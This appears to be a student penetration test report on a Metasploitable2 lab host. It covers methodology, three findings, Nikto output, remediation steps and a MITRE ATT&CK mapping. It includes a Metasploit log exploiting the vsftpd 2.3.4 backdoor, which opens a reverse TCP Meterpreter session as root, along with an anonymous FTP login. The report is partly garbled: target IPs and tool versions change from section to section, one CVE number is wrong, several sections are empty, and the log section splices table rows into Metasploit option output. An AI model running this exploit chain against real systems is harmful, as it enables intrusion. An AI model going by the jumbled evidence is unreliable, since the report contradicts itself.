

**ANALYST:
EZE CHUKWUEBUKA WILSON**

CLIENT: PAYLITENG

TARGET IP: 10.0.2.20

TARGET: METASPLOITABLE2

CLASSIFICATION: CONFIDENTIAL

JULY, 2026

ENGAGEMENT SUMMARY

An authorised penetration test was conducted against PayliteNG's Metasploitable2 server (10.0.2.20) to identify exploitable vulnerabilities and recommend appropriate security improvements.

2.0 AUTHORISATION STATEMENT

This penetration test was formally authorised by the system owner, Mrs. Adaeze, for educational and security assessment purposes. Permission was granted to simulate real-world attack techniques against the PayliteNG server replica hosted on 10.0.2.20 (Metasploitable2 environment) strictly within a controlled lab environment.

2.1 Out-of-Scope

The following activities and systems were explicitly excluded from testing:

- Any external networks outside the Metasploitable2 host
- Denial-of-Service (DoS) or stress testing attacks
- Physical access attempts to the host machine
- Attacks against third-party systems or infrastructure
- Modification or destruction of host-only system files beyond required proof-of-concept exploitation

2.2 Testing Window

The assessment was conducted within a controlled lab session over a limited testing period. All scanning, exploitation, and analysis activities were performed only during the authorised window agreed upon for the mini project exercise. No continuous or persistent access was maintained beyond the testing period.

3.0 SCOPE AND METHODOLOGY

3.1 Scope

The scope of this penetration testing exercise is limited to a single target system:

- Target IP Address: 10.0.2.20
- Environment: Metasploitable2 (vulnerable virtual machine)
- Network Type: Isolated lab environment (host-only / NAT laboratory setup)
- Assessment Type: Black-box penetration test (no prior internal knowledge of system configuration)

3.2 Tools Used (with versions)

The following tools were used during the penetration testing process:

- Nmap 7.94 — Network scanning and service enumeration
- Netcat (nc) 1.10 — Manual connection testing and banner grabbing
- Nikto 2.5.0 — Web vulnerability scanning
- Metasploit Framework 6.x — Exploitation and payload delivery
- Curl 8.x — HTTP request inspection and response analysis
- Linux Kali Tools (2024.x) — Supporting security utilities

3.3 Methodology Followed (PTES Framework)

The penetration test was conducted using the **Penetration Testing Execution Standard (PTES)** to ensure a structured, repeatable, and ethical assessment process. The methodology consisted of the following phases:

1. Pre-engagement Interactions

The scope of the assessment was established before testing commenced. This included defining the target system (Metasploitable2), confirming the target IP address, obtaining authorization to conduct testing, and identifying the tools and techniques permitted during the assessment.

2. Intelligence Gathering (Reconnaissance)

Information about the target system was collected using active reconnaissance techniques. Network discovery and service enumeration were performed primarily with Nmap to identify live hosts, open ports, running services, service versions, and operating system characteristics. This phase provided the foundation for subsequent vulnerability analysis.

3. Threat Modeling

The information gathered during reconnaissance was analyzed to identify potential attack surfaces. Detected services were mapped against publicly known vulnerabilities (CVEs), common misconfigurations, and likely attack vectors to determine the most promising exploitation paths.

4. Vulnerability Analysis

Both automated and manual techniques were employed to identify security weaknesses. Automated tools such as Nmap NSE scripts and Nikto were used to detect known vulnerabilities, insecure configurations, outdated software versions, and web application issues. Findings were validated through manual inspection to reduce false positives and confirm exploitability.

5. Exploitation

Verified vulnerabilities were exploited in the controlled laboratory environment using Metasploit Framework and selected manual techniques. Successful exploitation demonstrated the practical impact of identified weaknesses,

including unauthorized access to vulnerable services and remote command execution where applicable.

6. Post-Exploitation

Following successful exploitation, the assessment evaluated the level of system access obtained, verified user privileges, assessed opportunities for privilege escalation, and examined the potential impact on confidentiality, integrity, and availability. Evidence such as user identity (`uid=0`) and system information was collected to support the findings.

7. Reporting

All activities performed during the assessment were documented. The final report includes the methodology, tools used, identified vulnerabilities, supporting evidence, exploitation results, risk ratings, and practical recommendations for remediation in accordance with industry best practices.

3.4 Limitations

The assessment was conducted within a controlled laboratory environment and was subject to the following limitations:

- Testing was limited to the designated target host (Metasploitable2) and its assigned IP address.
- No testing was performed against production systems or external networks to ensure compliance with the defined scope and minimize operational risk.
- The assessment was constrained by the allocated laboratory time, preventing exhaustive manual testing of every discovered service.
- Certain vulnerabilities identified by automated scanning tools required manual verification, and only those confirmed during testing were reported.
- Password guessing and brute-force techniques were deliberately restricted to avoid unnecessary service disruption and to comply with ethical penetration testing practices.
- The assessment represents the security posture of the target system at the time of testing; configuration changes made after the assessment may affect the validity of the reported findings.

4.0 FINDINGS SUMMARY TABLE:

Finding Name	CVE (if applicable)	CVSS Score	Business Impact Rating	Remediation Timeline
FTP Service Backdoor (vsftpd 2.3.4)	CVE-2011-2523	10.0 (Critical)	Critical – Full system compromise and remote root access	Immediate (0–24 hours)
Weak/Legacy Operating System (Ubuntu 8.04, outdated kernel)	CVE-2008–2018 range (multiple)	9.0–10.0 (Critical)	Critical – Unsupported OS vulnerable to multiple exploits	Urgent (24–72 hours)
Open FTP Port (21/tcp) with Anonymous/unsafe configuration	No single CVE (misconfiguration)	7.5 (High)	High – Enables unauthorized access and attack surface exposure	Short-term (1–7 days)
Exposed Network Services (multiple default Metasploitable services)	Multiple known CVEs	8.0–10.0 (High–Critical)	High – Increases attack surface and enables lateral exploitation	Short-term (1–7 days)
Root-level access obtained via exploit chain	Derived impact (post-exploitation)	10.0 (Critical)	Critical – Complete compromise of confidentiality, integrity, and availability	Immediate (0–24 hours)

Using nmap -sV

Using msfconsole:

9

5.1 Business Impact

This vulnerability presents a critical business risk because successful exploitation grants an attacker unrestricted administrative control of the affected server. If exploited in a production environment, the organization could experience complete system compromise, prolonged service disruption, data loss, regulatory penalties, and reputational damage.

5.2 Step-by-Step Remediation

1. Upgrade the FTP Service
 - a. Remove the vulnerable vsftpd 2.3.4 package.
 - b. Install a supported and patched version obtained from the operating system's official repositories.
2. Verify Software Integrity
 - a. Download software only from trusted sources.
 - b. Validate package signatures and checksums before installation.
3. Disable FTP if Unnecessary
 - a. If FTP is not required, stop and disable the service.
 - b. Remove unused packages to reduce the attack surface.
4. Replace FTP with Secure Alternatives
 - a. Use SFTP or FTPS to provide encrypted file transfer.
 - b. Disable clear-text authentication.
5. Restrict Network Access
 - a. Configure firewall rules to allow FTP access only from trusted IP addresses.
 - b. Block unnecessary inbound connections.
6. Apply Security Updates Regularly
 - a. Keep the operating system and all network services updated with vendor security patches.
 - b. Establish a routine patch management process.
7. Implement Continuous Monitoring
 - a. Monitor authentication logs and FTP activity for unusual behavior.
 - b. Deploy intrusion detection or prevention systems to identify exploitation attempts.

6.0 Finding 002 – Anonymous FTP Authentication Enabled

Using ftp:

```
(kali㉿kali)-[~]  
$ ftp 10.0.0.225  
Connected to 10.0.0.225.  
220 (vsFTPd 2.3.4)  
Name (10.0.0.225:kali): anonymous  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> ls  
229 Entering Extended Passive Mode (|||48467|).  
150 Here comes the directory listing.  
226 Directory send OK.  
ftp> get README  
local: README remote: README  
229 Entering Extended Passive Mode (|||19384|).  
550 Failed to open file.
```

6.1 Business Impact

Allowing anonymous authentication exposes the FTP service to any user with network access. Even when permissions are limited, attackers can use anonymous accounts to verify the existence of the service, identify software versions, and test for configuration weaknesses. Such information can assist in planning further attacks.

In production environments, changes to permissions or misconfigurations could unintentionally expose sensitive files to anonymous users. Combined with other vulnerabilities, anonymous FTP access can contribute to a broader compromise of the system.

6.2. Step-by-Step Remediation

1. Disable anonymous FTP authentication unless it is explicitly required for business operations.
2. Require authenticated user accounts with strong passwords for all FTP access.
3. Replace FTP with secure alternatives such as SFTP or FTPS to encrypt credentials and file transfers.
4. Restrict FTP access to trusted hosts using firewall rules or access control lists.
5. Review file and directory permissions regularly to ensure anonymous users cannot access sensitive resources.
6. Enable comprehensive FTP logging and periodically review logs for unauthorized login attempts or suspicious activity.

7.0 FINDING 003 – HTTP TRACE METHOD ENABLED (CROSS-SITE TRACING)

Description: The web server running on 10.0.3.168 was found to have the HTTP TRACE method enabled. TRACE is an HTTP diagnostic method that echoes the received request back to the client.

Although TRACE is intended for debugging purposes, it is rarely required in production environments. If left enabled, it can contribute to Cross-Site Tracing (XST) attacks, where an attacker may combine TRACE with other client-side vulnerabilities to expose sensitive HTTP headers, including authentication cookies.

```
C:\home\kali\labs\week2> curl -X TRACE http://192.168.0.156
TRACE / HTTP/1.1
Host: 192.168.0.156
User-Agent: curl/8.20.0
Accept: */*
```

Because the server has no operational requirement for the TRACE method, leaving it enabled unnecessarily increases the application's attack surface.

7.1 Nikto scan and output:

```
(kali@kali)-[~]
$ nikto -h http://10.0.3.168 -o niktoprojectlog.txt
Nikto v2.6.0

+ Target IP: 10.0.3.168
+ Target Hostname: 10.0.3.168
+ Target Port: 80
+ Platform: Unknown
+ Start Time: 2026-06-27 10:57:41 (GMT1)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ ERROR: Failed to check for updates: 403
+ [999986] /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ [750500] /icons/: Directory indexing found.
+ No CGI Directories found (use '-C all' to force check all possible dirs). CGI tests skipped.
+ [600050] Apache/2.2.8 appears to be outdated (current is at least 2.4.66).
+ [600625] PHP/5.2.4-2ubuntu5.10 appears to be outdated (current is at least 8.5.1).
+ [999100] /index: Uncommon header(s) 'tcn' found, with contents: list.
+ [999965] /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force f
59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.org/en-US/docs/Web/
+ [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozilla.org/en-US/docs/W
+ [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mozilla.org/en-US/do
+ [013587] /: Suggested security header missing: content-security-policy. See: https://developer.mozilla.org/en-US/d
+ [013587] /: Suggested security header missing: strict-transport-security. See: https://developer.mozilla.org/en-US
+ [999967] /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ [000434] /: HTTP TRACE method is active and replies which suggests the host is vulnerable to XST. See: https://owa
+ [750510] /phpinfo.php: Output from the phpinfo() function was found.
+ [750500] /doc/: Directory indexing found.
+ [001213] /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: https://cve.mitre.org/cgi-bin/cvename
+ [001384] /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP Easter Eggs reveals potentially sensitive information via
p-easter-egg/
+ [001385] /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via
p-easter-egg/
+ [001386] /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via
p-easter-egg/
+ [001387] /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP Easter Egg reveals potentially sensitive information via
p-easter-egg/
+ [001795] /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited
+ [999984] /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, in
1418
+ [001796] /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to
+ [750500] /test/: Directory indexing found.
+ [001894] /test/: This might be interesting.
+ [002989] /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of sys
+ [003584] /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-icon
```

7.2 Business Impact

Enabling the TRACE method increases the web server's attack surface and may facilitate Cross-Site Tracing (XST) attacks when combined with other web application vulnerabilities, such as Cross-Site Scripting (XSS).

An attacker may exploit this configuration to:

- Retrieve HTTP request headers.
- Potentially expose session cookies.
- Gather additional information about authenticated users.
- Assist in chaining attacks with other web application weaknesses.

7.3 Risk Rating

Metric	Value
Severity	Medium
CVSS Score	5.3
Attack Complexity	Low
Privileges Required	None
User Interaction	Required (depends on attack scenario)
Impact	Information Disclosure

7.4 Step-by-Step Remediation

1. Disable the TRACE Method
 - Edit the Apache configuration file.
2. Disable TRACE Requests
 - Add the following directive:
TraceEnable Off
3. Restart the Apache Service
 - sudo systemctl restart apache2
4. Verify the Configuration
 - Confirm that TRACE is disabled by running:
curl -X TRACE http://10.0.3.168
 - The server should respond with:
405 Method Not Allowed
5. Perform Regular Web Server Hardening
 - Disable unnecessary HTTP methods.
 - Apply current Apache security patches.
 - Periodically validate the configuration using security scanners such as Nikto.

8. Remediation Roadmap

The following remediation roadmap prioritizes corrective actions based on the severity of the identified vulnerabilities. Critical issues that could lead to immediate system compromise should be addressed first, followed by security hardening activities and long-term improvements to the organization's security posture.

Phase 1 – Immediate Actions (0–24 Hours)

The following actions should be completed immediately to eliminate the highest-risk vulnerabilities.

Priori ty	Action	Related Finding
Critical	Remove or upgrade the vulnerable FTP service (vsftpd 2.3.4) to a supported version.	Finding 001
Critical	Isolate or temporarily remove the affected server from the network until remediation is completed.	Finding 001
Critical	Disable anonymous FTP authentication.	Finding 002
Critical	Disable the HTTP TRACE method (TraceEnable Off).	Finding 003
High	Disable public access to unnecessary services and close unused network ports using firewall rules.	Findings 001–003
High	Change all administrator and service account passwords in case credentials were exposed during compromise.	Finding 001
High	Review system logs for evidence of unauthorized access or persistence mechanisms.	Finding 001

Phase 2 – Short-Term Actions (1–7 Days)

These activities strengthen the security of the server after immediate threats have been addressed.

Priori ty	Action	Related Finding
High	Upgrade the Apache web server to a supported release.	Finding 003
High	Upgrade PHP from version 5.2.4 to a supported version.	Finding 003
High	Remove or restrict access to <code>phpinfo.php</code> .	Finding 003
High	Restrict or disable directory indexing for <code>/icons</code> , <code>/doc</code> , and <code>/test</code> .	Finding 003
Mediu m	Restrict access to phpMyAdmin to trusted administrators or internal networks only.	Finding 003
Mediu m	Implement missing HTTP security headers (Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, Referrer-Policy, and Permissions-Policy).	Finding 003
Mediu m	Replace FTP with secure alternatives such as SFTP or FTPS.	Findings 001–002
Mediu m	Perform a complete vulnerability rescan to verify that remediation has been successful.	All Findings

Phase 3 – Long-Term Actions (30–90 Days)

These recommendations improve the organization's overall security maturity and reduce the likelihood of future compromise.

Priori ty	Action	Related Finding
High	Establish a formal vulnerability management and patch management program.	All Findings
High	Develop a secure system hardening baseline based on industry best practices.	All Findings
High	Implement continuous vulnerability scanning and periodic penetration testing.	All Findings
Mediu m	Deploy centralized log monitoring and a Security Information and Event Management (SIEM) solution to improve detection capabilities.	All Findings
Mediu m	Implement network segmentation to isolate critical servers from user networks.	Finding 001
Mediu m	Enforce the principle of least privilege for user and service accounts.	All Findings
Mediu m	Conduct regular security awareness training for system administrators and IT personnel.	All Findings
Mediu m	Maintain an incident response plan and perform periodic recovery exercises.	All Findings

9. MITRE ATT&CK Mapping:

Log Report and Answers:

```
When FETCH_COMMAND is one of CURL,GET,WGET:
CVE-2019-1523 10.0 (Critical) Critical - Full system compromise Immediate (0-24 hours)
Name Current Setting Required Description
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
CVE-2008-2018 range 9.0-10.0 (Critical) Urgent (24-72 hours)
multiple) vulnerable to multiple exploits
When FETCH_FILELESS is none:
Name Current Setting Required Description
FETCH_FILENAME TzRWwWdLNOB no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./. 10.0 (High-Critical) yes High- Remote writable dir to store payload; cannot contain spaces
enables lateral exploitation
Exploit target:
Id Name
0 Linux/Unix Command
Critical - Complete compromise of confidentiality, integrity, and availability
Immediate (0-24 hours)
View the full module info with the info, or info -d command.
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 10.0.3.127:4444
[+] 10.0.2.20:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (10.0.3.127:4444 -> 10.0.2.20:52204) at 2026-06-23 22:22:04 +0100
meterpreter > id
[-] Unknown command: id. Run the help command for more details.
meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: root
meterpreter >
```

TABLE:

The penetration testing activities were mapped to the MITRE ATT&CK Enterprise framework to illustrate how the observed attack techniques align with known adversary behaviors.

Attack Step	MITRE ATT&CK Tactic	Tactic ID	Technique	Technique ID	Evidence
Network service discovery using Nmap	Discovery	TA0007	Network Service Discovery	T1046	<code>nmap -sV -A 10.0.3.168</code> identified FTP, HTTP, and other open services.
Service and version enumeration	Discovery	TA0007	Network Service Discovery	T1046	Nmap identified vsftpd 2.3.4, Apache 2.2.8, and PHP 5.2.4.
Anonymous FTP authentication	Initial Access	TA0001	Valid Accounts	T1078	Successful anonymous login to the FTP service without standard user credentials.
Exploitation of the vsftpd 2.3.4 backdoor	Initial Access	TA0001	Exploit Public-Facing Application	T1190	Metasploit module <code>exploit/unix/ftp/vsftpd_234_backdoor</code> successfully established a session.
Meterpreter session established	Execution	TA0002	Command and Scripting Interpreter	T1059	Meterpreter provided interactive command execution on the target.
Root-level access obtained	Privilege Escalation	TA0004	Exploitation for Privilege Escalation	T1068	<code>getuid</code> returned Server username: root, demonstrating administrative control.
System information gathering	Discovery	TA0007	System Information Discovery	T1082	<code>sysinfo</code> identified the operating system, hostname, architecture, and kernel version.